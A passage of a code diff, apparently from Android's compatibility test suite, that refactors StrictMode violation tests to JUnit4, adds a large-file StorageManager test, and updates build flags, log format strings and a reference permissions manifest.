 import java.io.FileDescriptor;
 import java.io.FileInputStream;
+import java.io.FileNotFoundException;
 import java.io.FileOutputStream;
+import java.io.IOException;
 import java.net.HttpURLConnection;
 import java.net.Socket;
 import java.net.URL;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.concurrent.ArrayBlockingQueue;
+import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.ExecutionException;
 import java.util.concurrent.LinkedBlockingQueue;
 import java.util.concurrent.TimeUnit;
+import java.util.function.Consumer;
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
-/**
- * Tests for {@link StrictMode}
- */
-public class StrictModeTest extends InstrumentationTestCase {
+/** Tests for {@link StrictMode} */
+@RunWith(AndroidJUnit4.class)
+public class StrictModeTest {
     private static final String TAG = "StrictModeTest";
+    private static final String REMOTE_SERVICE_ACTION = "android.app.REMOTESERVICE";
 
     private StrictMode.ThreadPolicy mThreadPolicy;
     private StrictMode.VmPolicy mVmPolicy;
 
     private Context getContext() {
-        return getInstrumentation().getContext();
+        return InstrumentationRegistry.getContext();
     }
 
-    @Override
-    protected void setUp() {
+    @Before
+    public void setUp() {
         mThreadPolicy = StrictMode.getThreadPolicy();
         mVmPolicy = StrictMode.getVmPolicy();
     }
 
-    @Override
-    protected void tearDown() {
+    @After
+    public void tearDown() {
         StrictMode.setThreadPolicy(mThreadPolicy);
         StrictMode.setVmPolicy(mVmPolicy);
     }
 
     public interface ThrowingRunnable {
-        public void run() throws Exception;
+        void run() throws Exception;
     }
 
-    /**
-     * Insecure connection should be detected
-     */
+    @Test
+    public void testUnclosedCloseable() throws Exception {
+        StrictMode.setVmPolicy(
+                new StrictMode.VmPolicy.Builder().detectLeakedClosableObjects().build());
+
+        inspectViolation(
+                () -> leakCloseable("leaked.txt"),
+                info -> {
+                    assertThat(info.getViolationDetails())
+                            .isEqualTo(
+                                    "A resource was acquired at attached stack trace but never released. See java.io.Closeable for information on avoiding resource leaks.");
+                    assertThat(info.getStackTrace())
+                            .contains("Explicit termination method 'close' not called");
+                    assertThat(info.getStackTrace()).contains("leakCloseable");
+                    assertPolicy(info, StrictMode.DETECT_VM_CLOSABLE_LEAKS);
+                });
+    }
+
+    private void leakCloseable(String fileName) throws InterruptedException {
+        final CountDownLatch finalizedSignal = new CountDownLatch(1);
+        try {
+            new FileOutputStream(new File(getContext().getFilesDir(), fileName)) {
+                @Override
+                protected void finalize() throws IOException {
+                    super.finalize();
+                    finalizedSignal.countDown();
+                }
+            };
+        } catch (FileNotFoundException e) {
+            throw new RuntimeException(e);
+        }
+        Runtime.getRuntime().gc();
+        Runtime.getRuntime().runFinalization();
+        // Sometimes it needs extra prodding.
+        if (!finalizedSignal.await(5, TimeUnit.SECONDS)) {
+            Runtime.getRuntime().gc();
+            Runtime.getRuntime().runFinalization();
+        }
+    }
+
+    @Test
+    public void testClassInstanceLimit() throws Exception {
+        StrictMode.setVmPolicy(
+                new StrictMode.VmPolicy.Builder()
+                        .setClassInstanceLimit(LimitedClass.class, 1)
+                        .build());
+        List<LimitedClass> references = new ArrayList<>();
+        assertNoViolation(() -> references.add(new LimitedClass()));
+        references.add(new LimitedClass());
+        inspectViolation(
+                StrictMode::conditionallyCheckInstanceCounts,
+                info -> assertPolicy(info, StrictMode.DETECT_VM_INSTANCE_LEAKS));
+    }
+
+    private static final class LimitedClass {}
+
+    /** Insecure connection should be detected */
+    @Test
     public void testCleartextNetwork() throws Exception {
         if (!hasInternetConnection()) {
             Log.i(TAG, "testCleartextNetwork() ignored on device without Internet");
             return;
         }
 
-        StrictMode.setVmPolicy(new StrictMode.VmPolicy.Builder()
-                .detectCleartextNetwork()
-                .penaltyLog()
-                .build());
+        StrictMode.setVmPolicy(
+                new StrictMode.VmPolicy.Builder().detectCleartextNetwork().penaltyLog().build());
 
-        assertViolation("Detected cleartext network traffic from UID", () -> {
-            ((HttpURLConnection) new URL("http://example.com/").openConnection())
-                    .getResponseCode();
-        });
+        inspectViolation(
+                () ->
+                        ((HttpURLConnection) new URL("http://example.com/").openConnection())
+                                .getResponseCode(),
+                info -> {
+                    assertThat(info.getViolationDetails()).contains("example.com");
+                    assertThat(info.getViolationDetails())
+                            .startsWith(StrictMode.CLEARTEXT_DETECTED_MSG);
+                    assertPolicy(info, StrictMode.DETECT_VM_CLEARTEXT_NETWORK);
+                });
     }
 
-    /**
-     * Secure connection should be ignored
-     */
+    /** Secure connection should be ignored */
+    @Test
     public void testEncryptedNetwork() throws Exception {
         if (!hasInternetConnection()) {
             Log.i(TAG, "testEncryptedNetwork() ignored on device without Internet");
             return;
         }
 
-        StrictMode.setVmPolicy(new StrictMode.VmPolicy.Builder()
-                .detectCleartextNetwork()
-                .penaltyLog()
-                .build());
+        StrictMode.setVmPolicy(
+                new StrictMode.VmPolicy.Builder().detectCleartextNetwork().penaltyLog().build());
 
-        assertNoViolation(() -> {
-            ((HttpURLConnection) new URL("https://example.com/").openConnection())
-                    .getResponseCode();
-        });
+        assertNoViolation(
+                () ->
+                        ((HttpURLConnection) new URL("https://example.com/").openConnection())
+                                .getResponseCode());
     }
 
+    @Test
     public void testFileUriExposure() throws Exception {
-        StrictMode.setVmPolicy(new StrictMode.VmPolicy.Builder()
-                .detectFileUriExposure()
-                .penaltyLog()
-                .build());
+        StrictMode.setVmPolicy(
+                new StrictMode.VmPolicy.Builder().detectFileUriExposure().penaltyLog().build());
 
         final Uri badUri = Uri.fromFile(new File("/sdcard/meow.jpg"));
-        assertViolation(badUri + " exposed beyond app", () -> {
-            Intent intent = new Intent(Intent.ACTION_VIEW);
-            intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
-            intent.setDataAndType(badUri, "image/jpeg");
-            getContext().startActivity(intent);
-        });
+        inspectViolation(
+                () -> {
+                    Intent intent = new Intent(Intent.ACTION_VIEW);
+                    intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+                    intent.setDataAndType(badUri, "image/jpeg");
+                    getContext().startActivity(intent);
+                },
+                violation -> {
+                    assertThat(violation.getStackTrace()).contains(badUri + " exposed beyond app");
+                });
 
         final Uri goodUri = Uri.parse("content://com.example/foobar");
-        assertNoViolation(() -> {
-            Intent intent = new Intent(Intent.ACTION_VIEW);
-            intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
-            intent.setDataAndType(goodUri, "image/jpeg");
-            getContext().startActivity(intent);
-        });
+        assertNoViolation(
+                () -> {
+                    Intent intent = new Intent(Intent.ACTION_VIEW);
+                    intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+                    intent.setDataAndType(goodUri, "image/jpeg");
+                    getContext().startActivity(intent);
+                });
     }
 
+    @Test
     public void testContentUriWithoutPermission() throws Exception {
-        StrictMode.setVmPolicy(new StrictMode.VmPolicy.Builder()
-                .detectContentUriWithoutPermission()
-                .penaltyLog()
-                .build());
+        StrictMode.setVmPolicy(
+                new StrictMode.VmPolicy.Builder()
+                        .detectContentUriWithoutPermission()
+                        .penaltyLog()
+                        .build());
 
         final Uri uri = Uri.parse("content://com.example/foobar");
-        assertViolation(uri + " exposed beyond app", () -> {
-            Intent intent = new Intent(Intent.ACTION_VIEW);
-            intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
-            intent.setDataAndType(uri, "image/jpeg");
-            getContext().startActivity(intent);
-        });
+        inspectViolation(
+                () -> {
+                    Intent intent = new Intent(Intent.ACTION_VIEW);
+                    intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+                    intent.setDataAndType(uri, "image/jpeg");
+                    getContext().startActivity(intent);
+                },
+                violation ->
+                        assertThat(violation.getStackTrace())
+                                .contains(uri + " exposed beyond app"));
 
-        assertNoViolation(() -> {
-            Intent intent = new Intent(Intent.ACTION_VIEW);
-            intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
-            intent.setDataAndType(uri, "image/jpeg");
-            intent.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
-            getContext().startActivity(intent);
-        });
+        assertNoViolation(
+                () -> {
+                    Intent intent = new Intent(Intent.ACTION_VIEW);
+                    intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+                    intent.setDataAndType(uri, "image/jpeg");
+                    intent.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
+                    getContext().startActivity(intent);
+                });
     }
 
+    @Test
     public void testUntaggedSocketsHttp() throws Exception {
         if (!hasInternetConnection()) {
             Log.i(TAG, "testUntaggedSockets() ignored on device without Internet");
             return;
         }
 
-        StrictMode.setVmPolicy(new StrictMode.VmPolicy.Builder()
-                .detectUntaggedSockets()
-                .penaltyLog()
-                .build());
+        StrictMode.setVmPolicy(
+                new StrictMode.VmPolicy.Builder().detectUntaggedSockets().penaltyLog().build());
 
-        assertViolation("Untagged socket detected", () -> {
-            ((HttpURLConnection) new URL("http://example.com/").openConnection())
-                    .getResponseCode();
-        });
+        inspectViolation(
+                () ->
+                        ((HttpURLConnection) new URL("http://example.com/").openConnection())
+                                .getResponseCode(),
+                violation ->
+                        assertThat(violation.getStackTrace())
+                                .contains(UntaggedSocketViolation.MESSAGE));
 
-        assertNoViolation(() -> {
-            TrafficStats.setThreadStatsTag(0xDECAFBAD);
-            try {
-                ((HttpURLConnection) new URL("http://example.com/").openConnection())
-                        .getResponseCode();
-            } finally {
-                TrafficStats.clearThreadStatsTag();
-            }
-        });
+        assertNoViolation(
+                () -> {
+                    TrafficStats.setThreadStatsTag(0xDECAFBAD);
+                    try {
+                        ((HttpURLConnection) new URL("http://example.com/").openConnection())
+                                .getResponseCode();
+                    } finally {
+                        TrafficStats.clearThreadStatsTag();
+                    }
+                });
     }
 
+    @Test
     public void testUntaggedSocketsRaw() throws Exception {
         if (!hasInternetConnection()) {
             Log.i(TAG, "testUntaggedSockets() ignored on device without Internet");
             return;
         }
 
-        StrictMode.setVmPolicy(new StrictMode.VmPolicy.Builder()
-                .detectUntaggedSockets()
-                .penaltyLog()
-                .build());
+        StrictMode.setVmPolicy(
+                new StrictMode.VmPolicy.Builder().detectUntaggedSockets().penaltyLog().build());
 
-        assertNoViolation(() -> {
-            TrafficStats.setThreadStatsTag(0xDECAFBAD);
-            try (Socket socket = new Socket("example.com", 80)) {
-                socket.getOutputStream().close();
-            } finally {
-                TrafficStats.clearThreadStatsTag();
-            }
-        });
+        assertNoViolation(
+                () -> {
+                    TrafficStats.setThreadStatsTag(0xDECAFBAD);
+                    try (Socket socket = new Socket("example.com", 80)) {
+                        socket.getOutputStream().close();
+                    } finally {
+                        TrafficStats.clearThreadStatsTag();
+                    }
+                });
 
-        assertViolation("Untagged socket detected", () -> {
-            try (Socket socket = new Socket("example.com", 80)) {
-                socket.getOutputStream().close();
-            }
-        });
+        inspectViolation(
+                () -> {
+                    try (Socket socket = new Socket("example.com", 80)) {
+                        socket.getOutputStream().close();
+                    }
+                },
+                violation ->
+                        assertThat(violation.getStackTrace())
+                                .contains(UntaggedSocketViolation.MESSAGE));
     }
 
+    private static final int PERMISSION_USER_ONLY = 0600;
+
+    @Test
     public void testRead() throws Exception {
         final File test = File.createTempFile("foo", "bar");
         final File dir = test.getParentFile();
 
         final FileInputStream is = new FileInputStream(test);
-        final FileDescriptor fd = Os.open(test.getAbsolutePath(), OsConstants.O_RDONLY, 0600);
+        final FileDescriptor fd =
+                Os.open(test.getAbsolutePath(), OsConstants.O_RDONLY, PERMISSION_USER_ONLY);
 
-        StrictMode.setThreadPolicy(new StrictMode.ThreadPolicy.Builder()
-                .detectDiskReads()
-                .penaltyLog()
-                .build());
+        StrictMode.setThreadPolicy(
+                new StrictMode.ThreadPolicy.Builder().detectDiskReads().penaltyLog().build());
+        inspectViolation(
+                test::exists,
+                violation -> {
+                    assertThat(violation.getViolationDetails()).isNull();
+                    assertThat(violation.getStackTrace()).contains("DiskReadViolation");
+                });
 
-        assertViolation("StrictModeDiskReadViolation", () -> {
-            test.exists();
-        });
-        assertViolation("StrictModeDiskReadViolation", () -> {
-            test.length();
-        });
-        assertViolation("StrictModeDiskReadViolation", () -> {
-            dir.list();
-        });
-        assertViolation("StrictModeDiskReadViolation", () -> {
-            new FileInputStream(test);
-        });
-        assertViolation("StrictModeDiskReadViolation", () -> {
-            is.read();
-        });
-        assertViolation("StrictModeDiskReadViolation", () -> {
-            Os.open(test.getAbsolutePath(), OsConstants.O_RDONLY, 0600);
-        });
-        assertViolation("StrictModeDiskReadViolation", () -> {
-            Os.read(fd, new byte[10], 0, 1);
-        });
+        Consumer<ViolationInfo> assertDiskReadPolicy =
+                violation -> assertPolicy(violation, StrictMode.DETECT_DISK_READ);
+        inspectViolation(test::exists, assertDiskReadPolicy);
+        inspectViolation(test::length, assertDiskReadPolicy);
+        inspectViolation(dir::list, assertDiskReadPolicy);
+        inspectViolation(is::read, assertDiskReadPolicy);
+
+        inspectViolation(() -> new FileInputStream(test), assertDiskReadPolicy);
+        inspectViolation(
+                () -> Os.open(test.getAbsolutePath(), OsConstants.O_RDONLY, PERMISSION_USER_ONLY),
+                assertDiskReadPolicy);
+        inspectViolation(() -> Os.read(fd, new byte[10], 0, 1), assertDiskReadPolicy);
     }
 
+    @Test
     public void testWrite() throws Exception {
         File file = File.createTempFile("foo", "bar");
 
         final FileOutputStream os = new FileOutputStream(file);
-        final FileDescriptor fd = Os.open(file.getAbsolutePath(), OsConstants.O_RDWR, 0600);
+        final FileDescriptor fd =
+                Os.open(file.getAbsolutePath(), OsConstants.O_RDWR, PERMISSION_USER_ONLY);
 
-        StrictMode.setThreadPolicy(new StrictMode.ThreadPolicy.Builder()
-                .detectDiskWrites()
-                .penaltyLog()
-                .build());
+        StrictMode.setThreadPolicy(
+                new StrictMode.ThreadPolicy.Builder().detectDiskWrites().penaltyLog().build());
 
-        assertViolation("StrictModeDiskWriteViolation", () -> {
-            File.createTempFile("foo", "bar");
-        });
-        assertViolation("StrictModeDiskWriteViolation", () -> {
-            file.delete();
-        });
-        assertViolation("StrictModeDiskWriteViolation", () -> {
-            file.createNewFile();
-        });
-        assertViolation("StrictModeDiskWriteViolation", () -> {
-            new FileOutputStream(file);
-        });
-        assertViolation("StrictModeDiskWriteViolation", () -> {
-            os.write(32);
-        });
-        assertViolation("StrictModeDiskWriteViolation", () -> {
-            Os.open(file.getAbsolutePath(), OsConstants.O_RDWR, 0600);
-        });
-        assertViolation("StrictModeDiskWriteViolation", () -> {
-            Os.write(fd, new byte[10], 0, 1);
-        });
-        assertViolation("StrictModeDiskWriteViolation", () -> {
-            Os.fsync(fd);
-        });
-        assertViolation("StrictModeDiskWriteViolation", () -> {
-            file.renameTo(new File(file.getParent(), "foobar"));
-        });
+        inspectViolation(
+                file::createNewFile,
+                violation -> {
+                    assertThat(violation.getViolationDetails()).isNull();
+                    assertThat(violation.getStackTrace()).contains("DiskWriteViolation");
+                });
+
+        Consumer<ViolationInfo> assertDiskWritePolicy =
+                violation -> assertPolicy(violation, StrictMode.DETECT_DISK_WRITE);
+
+        inspectViolation(() -> File.createTempFile("foo", "bar"), assertDiskWritePolicy);
+        inspectViolation(() -> new FileOutputStream(file), assertDiskWritePolicy);
+        inspectViolation(file::delete, assertDiskWritePolicy);
+        inspectViolation(file::createNewFile, assertDiskWritePolicy);
+        inspectViolation(() -> os.write(32), assertDiskWritePolicy);
+
+        inspectViolation(
+                () -> Os.open(file.getAbsolutePath(), OsConstants.O_RDWR, PERMISSION_USER_ONLY),
+                assertDiskWritePolicy);
+        inspectViolation(() -> Os.write(fd, new byte[10], 0, 1), assertDiskWritePolicy);
+        inspectViolation(() -> Os.fsync(fd), assertDiskWritePolicy);
+        inspectViolation(
+                () -> file.renameTo(new File(file.getParent(), "foobar")), assertDiskWritePolicy);
     }
 
+    @Test
     public void testNetwork() throws Exception {
         if (!hasInternetConnection()) {
             Log.i(TAG, "testUntaggedSockets() ignored on device without Internet");
             return;
         }
 
-        StrictMode.setThreadPolicy(new StrictMode.ThreadPolicy.Builder()
-                .detectNetwork()
-                .penaltyLog()
-                .build());
+        StrictMode.setThreadPolicy(
+                new StrictMode.ThreadPolicy.Builder().detectNetwork().penaltyLog().build());
 
-        assertViolation("StrictModeNetworkViolation", () -> {
-            try (Socket socket = new Socket("example.com", 80)) {
-                socket.getOutputStream().close();
-            }
-        });
+        inspectViolation(
+                () -> {
+                    try (Socket socket = new Socket("example.com", 80)) {
+                        socket.getOutputStream().close();
+                    }
+                },
+                violation -> assertPolicy(violation, StrictMode.DETECT_NETWORK));
+        inspectViolation(
+                () ->
+                        ((HttpURLConnection) new URL("http://example.com/").openConnection())
+                                .getResponseCode(),
+                violation -> assertPolicy(violation, StrictMode.DETECT_NETWORK));
+    }
 
-        assertViolation("StrictModeNetworkViolation", () -> {
-            ((HttpURLConnection) new URL("http://example.com/").openConnection())
-                    .getResponseCode();
-        });
+    @Test
+    public void testViolationAcrossBinder() throws Exception {
+        runWithRemoteServiceBound(
+                getContext(),
+                service -> {
+                    StrictMode.setThreadPolicy(
+                            new Builder().detectDiskWrites().penaltyLog().build());
+
+                    try {
+                        inspectViolation(
+                                () -> service.performDiskWrite(),
+                                (violation) -> {
+                                    assertPolicy(violation, StrictMode.DETECT_DISK_WRITE);
+                                    assertThat(violation.getViolationDetails())
+                                            .isNull(); // Disk write has no message.
+                                    assertThat(violation.getStackTrace())
+                                            .contains("DiskWriteViolation");
+                                    assertThat(violation.getStackTrace())
+                                            .contains(
+                                                    "at android.os.StrictMode$AndroidBlockGuardPolicy.onWriteToDisk");
+                                    assertThat(violation.getStackTrace())
+                                            .contains("# via Binder call with stack:");
+                                    assertThat(violation.getStackTrace())
+                                            .contains(
+                                                    "at android.os.cts.ISecondary$Stub$Proxy.performDiskWrite");
+                                });
+                        assertNoViolation(() -> service.getPid());
+                    } catch (Exception e) {
+                        throw new RuntimeException(e);
+                    }
+                });
+    }
+
+    private static void runWithRemoteServiceBound(Context context, Consumer<ISecondary> consumer)
+            throws ExecutionException, InterruptedException, RemoteException {
+        BlockingQueue<IBinder> binderHolder = new ArrayBlockingQueue<>(1);
+        ServiceConnection secondaryConnection =
+                new ServiceConnection() {
+                    public void onServiceConnected(ComponentName className, IBinder service) {
+                        binderHolder.add(service);
+                    }
+
+                    public void onServiceDisconnected(ComponentName className) {
+                        binderHolder.drainTo(new ArrayList<>());
+                    }
+                };
+        Intent intent = new Intent(REMOTE_SERVICE_ACTION);
+        intent.setPackage(context.getPackageName());
+
+        Intent secondaryIntent = new Intent(ISecondary.class.getName());
+        secondaryIntent.setPackage(context.getPackageName());
+        assertThat(
+                        context.bindService(
+                                secondaryIntent, secondaryConnection, Context.BIND_AUTO_CREATE))
+                .isTrue();
+        IBinder binder = binderHolder.take();
+        assertThat(binder.queryLocalInterface(binder.getInterfaceDescriptor())).isNull();
+        consumer.accept(ISecondary.Stub.asInterface(binder));
+        context.unbindService(secondaryConnection);
+        context.stopService(intent);
     }
 
     private static void assertViolation(String expected, ThrowingRunnable r) throws Exception {
-        final LinkedBlockingQueue<String> violations = new LinkedBlockingQueue<>();
-        StrictMode.setViolationListener(new ViolationListener() {
-            @Override
-            public void onViolation(String message) {
-                violations.add(message);
-            }
-        });
-
-        try {
-            r.run();
-            while (true) {
-                final String violation = violations.poll(5, TimeUnit.SECONDS);
-                if (violation == null) {
-                    fail("Expected violation not found: " + expected);
-                } else if (violation.contains(expected)) {
-                    return;
-                }
-            }
-        } finally {
-            StrictMode.setViolationListener(null);
-        }
+        inspectViolation(r, violation -> assertThat(violation.getStackTrace()).contains(expected));
     }
 
     private static void assertNoViolation(ThrowingRunnable r) throws Exception {
-        final LinkedBlockingQueue<String> violations = new LinkedBlockingQueue<>();
-        StrictMode.setViolationListener(new ViolationListener() {
-            @Override
-            public void onViolation(String message) {
-                violations.add(message);
-            }
-        });
+        inspectViolation(
+                r, violation -> assertWithMessage("Unexpected violation").that(violation).isNull());
+    }
+
+    private void assertPolicy(ViolationInfo info, int policy) {
+        assertWithMessage("Policy bit incorrect").that(info.getViolationBit()).isEqualTo(policy);
+    }
+
+    private static void inspectViolation(
+            ThrowingRunnable violating, Consumer<ViolationInfo> consume) throws Exception {
+        final LinkedBlockingQueue<ViolationInfo> violations = new LinkedBlockingQueue<>();
+        StrictMode.setViolationLogger(violations::add);
 
         try {
-            r.run();
-            while (true) {
-                final String violation = violations.poll(5, TimeUnit.SECONDS);
-                if (violation == null) {
-                    return;
-                } else {
-                    fail("Unexpected violation found: " + violation);
-                }
-            }
+            violating.run();
+            consume.accept(violations.poll(5, TimeUnit.SECONDS));
         } finally {
-            StrictMode.setViolationListener(null);
+            StrictMode.setViolationLogger(null);
         }
     }
 
diff --git a/tests/tests/os/src/android/os/storage/cts/StorageManagerTest.java b/tests/tests/os/src/android/os/storage/cts/StorageManagerTest.java
index a820ac0..676465e 100644
--- a/tests/tests/os/src/android/os/storage/cts/StorageManagerTest.java
+++ b/tests/tests/os/src/android/os/storage/cts/StorageManagerTest.java
@@ -617,6 +617,38 @@
         looperThread.join();
     }
 
+    public void testOpenProxyFileDescriptor_largeFile() throws Exception {
+        final ProxyFileDescriptorCallback callback = new ProxyFileDescriptorCallback() {
+            @Override
+            public int onRead(long offset, int size, byte[] data) throws ErrnoException {
+                for (int i = 0; i < size; i++) {
+                    data[i] = 'L';
+                }
+                return size;
+            }
+
+            @Override
+            public long onGetSize() throws ErrnoException {
+                return 8L * 1024L * 1024L * 1024L;  // 8GB
+            }
+
+            @Override
+            public void onRelease() {}
+        };
+        final byte[] bytes = new byte[128];
+        try (final ParcelFileDescriptor fd = mStorageManager.openProxyFileDescriptor(
+                ParcelFileDescriptor.MODE_READ_ONLY, callback)) {
+            assertEquals(8L * 1024L * 1024L * 1024L, fd.getStatSize());
+
+            final int readBytes = Os.pread(
+                    fd.getFileDescriptor(), bytes, 0, bytes.length, fd.getStatSize() - 64L);
+            assertEquals(64, readBytes);
+            for (int i = 0; i < 64; i++) {
+                assertEquals('L', bytes[i]);
+            }
+        }
+    }
+
     private void assertStorageVolumesEquals(StorageVolume volume, StorageVolume clone)
             throws Exception {
         // Asserts equals() method.
diff --git a/tests/tests/packageinstaller/externalsources/src/android/packageinstaller/externalsources/cts/ExternalSourcesTest.java b/tests/tests/packageinstaller/externalsources/src/android/packageinstaller/externalsources/cts/ExternalSourcesTest.java
index 921f5f1..06e858e 100644
--- a/tests/tests/packageinstaller/externalsources/src/android/packageinstaller/externalsources/cts/ExternalSourcesTest.java
+++ b/tests/tests/packageinstaller/externalsources/src/android/packageinstaller/externalsources/cts/ExternalSourcesTest.java
@@ -41,7 +41,6 @@
     private PackageManager mPm;
     private String mPackageName;
     private UiDevice mUiDevice;
-    private boolean mHasFeature;
 
     @Before
     public void setUp() throws Exception {
@@ -49,7 +48,6 @@
         mPm = mContext.getPackageManager();
         mPackageName = mContext.getPackageName();
         mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
-        mHasFeature = !mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_WATCH);
     }
 
     private void setAppOpsMode(String mode) throws IOException {
@@ -86,9 +84,6 @@
 
     @Test
     public void testManageUnknownSourcesExists() {
-        if (!mHasFeature) {
-            return;
-        }
         Intent manageUnknownSources = new Intent(Settings.ACTION_MANAGE_UNKNOWN_APP_SOURCES);
         ResolveInfo info = mPm.resolveActivity(manageUnknownSources, 0);
         Assert.assertNotNull("No activity found for " + manageUnknownSources.getAction(), info);
diff --git a/tests/tests/permission/jni/Android.mk b/tests/tests/permission/jni/Android.mk
index e8b3f1a..1d4d77d 100644
--- a/tests/tests/permission/jni/Android.mk
+++ b/tests/tests/permission/jni/Android.mk
@@ -32,6 +32,6 @@
 LOCAL_CPPFLAGS := -std=gnu++11
 LOCAL_NDK_STL_VARIANT := c++_static
 
-LOCAL_CFLAGS := -Wno-unused-parameter
+LOCAL_CFLAGS := -Wno-unused-parameter -Wall -Werror
 
 include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/permission/jni/android_permission_cts_FileUtils.cpp b/tests/tests/permission/jni/android_permission_cts_FileUtils.cpp
index 068f684..68c3c76 100644
--- a/tests/tests/permission/jni/android_permission_cts_FileUtils.cpp
+++ b/tests/tests/permission/jni/android_permission_cts_FileUtils.cpp
@@ -106,7 +106,7 @@
     {
           __android_log_print(ANDROID_LOG_DEBUG, NULL,
                   "isPermittedCapBitSet(): getxattr(\"%s\") call failed: "
-                  "return %d (error: %s (%d))\n",
+                  "return %zd (error: %s (%d))\n",
                   cPath.c_str(), result, strerror(errno), errno);
           return false;
     }
@@ -190,7 +190,7 @@
     {
         __android_log_print(ANDROID_LOG_DEBUG, NULL,
                 "fileHasOnly(): getxattr(\"%s\") call failed: "
-                "return %d (error: %s (%d))\n",
+                "return %zd (error: %s (%d))\n",
                 cPath.c_str(), result, strerror(errno), errno);
         return false;
     }
diff --git a/tests/tests/permission2/res/raw/android_manifest.xml b/tests/tests/permission2/res/raw/android_manifest.xml
index a4dad83..670eb3c 100644
--- a/tests/tests/permission2/res/raw/android_manifest.xml
+++ b/tests/tests/permission2/res/raw/android_manifest.xml
@@ -309,6 +309,10 @@
     <protected-broadcast android:name="com.android.server.usb.ACTION_OPEN_IN_APPS" />
     <protected-broadcast android:name="com.android.server.am.DELETE_DUMPHEAP" />
     <protected-broadcast android:name="com.android.server.net.action.SNOOZE_WARNING" />
+    <protected-broadcast android:name="com.android.server.wifi.ConnectToNetworkNotification.USER_DISMISSED_NOTIFICATION" />
+    <protected-broadcast android:name="com.android.server.wifi.ConnectToNetworkNotification.CONNECT_TO_NETWORK" />
+    <protected-broadcast android:name="com.android.server.wifi.ConnectToNetworkNotification.PICK_WIFI_NETWORK" />
+    <protected-broadcast android:name="com.android.server.wifi.ConnectToNetworkNotification.PICK_NETWORK_AFTER_FAILURE" />
     <protected-broadcast android:name="android.net.wifi.WIFI_STATE_CHANGED" />
     <protected-broadcast android:name="android.net.wifi.WIFI_AP_STATE_CHANGED" />
     <protected-broadcast android:name="android.net.wifi.WIFI_CREDENTIAL_CHANGED" />
@@ -547,6 +551,9 @@
     <protected-broadcast android:name="android.media.tv.action.CHANNEL_BROWSABLE_REQUESTED" />
     <protected-broadcast android:name="com.android.server.InputMethodManagerService.SHOW_INPUT_METHOD_PICKER" />
 
+    <!-- Made protected in P (was introduced in JB-MR2) -->
+    <protected-broadcast android:name="android.intent.action.GET_RESTRICTION_ENTRIES" />
+
     <!-- ====================================================================== -->
     <!--                          RUNTIME PERMISSIONS                           -->
     <!-- ====================================================================== -->
@@ -563,6 +570,7 @@
         android:icon="@drawable/perm_group_contacts"
         android:label="@string/permgrouplab_contacts"
         android:description="@string/permgroupdesc_contacts"
+        android:request="@string/permgrouprequest_contacts"
         android:priority="100" />
 
     <!-- Allows an application to read the user's contacts data.
@@ -593,6 +601,7 @@
         android:icon="@drawable/perm_group_calendar"
         android:label="@string/permgrouplab_calendar"
         android:description="@string/permgroupdesc_calendar"
+        android:request="@string/permgrouprequest_calendar"
         android:priority="200" />
 
     <!-- Allows an application to read the user's calendar data.
@@ -623,6 +632,7 @@
         android:icon="@drawable/perm_group_sms"
         android:label="@string/permgrouplab_sms"
         android:description="@string/permgroupdesc_sms"
+        android:request="@string/permgrouprequest_sms"
         android:priority="300" />
 
     <!-- Allows an application to send SMS messages.
@@ -699,6 +709,7 @@
         android:icon="@drawable/perm_group_storage"
         android:label="@string/permgrouplab_storage"
         android:description="@string/permgroupdesc_storage"
+        android:request="@string/permgrouprequest_storage"
         android:priority="900" />
 
     <!-- Allows an application to read from external storage.
@@ -760,6 +771,7 @@
         android:icon="@drawable/perm_group_location"
         android:label="@string/permgrouplab_location"
         android:description="@string/permgroupdesc_location"
+        android:request="@string/permgrouprequest_location"
         android:priority="400" />
 
     <!-- Allows an app to access precise location.
@@ -792,6 +804,7 @@
         android:icon="@drawable/perm_group_phone_calls"
         android:label="@string/permgrouplab_phone"
         android:description="@string/permgroupdesc_phone"
+        android:request="@string/permgrouprequest_phone"
         android:priority="500" />
 
     <!-- Allows read only access to phone state, including the phone number of the device,
@@ -943,6 +956,7 @@
         android:icon="@drawable/perm_group_microphone"
         android:label="@string/permgrouplab_microphone"
         android:description="@string/permgroupdesc_microphone"
+        android:request="@string/permgrouprequest_microphone"
         android:priority="600" />
 
     <!-- Allows an application to record audio.
@@ -985,6 +999,7 @@
         android:icon="@drawable/perm_group_camera"
         android:label="@string/permgrouplab_camera"
         android:description="@string/permgroupdesc_camera"
+        android:request="@string/permgrouprequest_camera"
         android:priority="700" />
 
     <!-- Required to be able to access the camera device.
@@ -1014,6 +1029,7 @@
         android:icon="@drawable/perm_group_sensors"
         android:label="@string/permgrouplab_sensors"
         android:description="@string/permgroupdesc_sensors"
+        android:request="@string/permgrouprequest_sensors"
         android:priority="800" />
 
     <!-- Allows an application to access data from sensors that the user uses to
@@ -1860,11 +1876,11 @@
 
     <!-- @SystemApi @hide Allows an application to create/manage/remove stacks -->
     <permission android:name="android.permission.MANAGE_ACTIVITY_STACKS"
-        android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged|development" />
 
     <!-- @SystemApi @hide Allows an application to embed other activities -->
     <permission android:name="android.permission.ACTIVITY_EMBEDDING"
-                android:protectionLevel="signature|privileged" />
+                android:protectionLevel="signature|privileged|development" />
 
     <!-- Allows an application to start any activity, regardless of permission
          protection or exported state.
@@ -2270,7 +2286,7 @@
          <p>An application requesting this permission is responsible for
          verifying the source and integrity of the update before passing
          it off to the installer components.
-         @hide -->
+         @SystemApi @hide -->
     <permission android:name="android.permission.UPDATE_TIME_ZONE_RULES"
         android:protectionLevel="signature|privileged" />
 
@@ -2390,7 +2406,8 @@
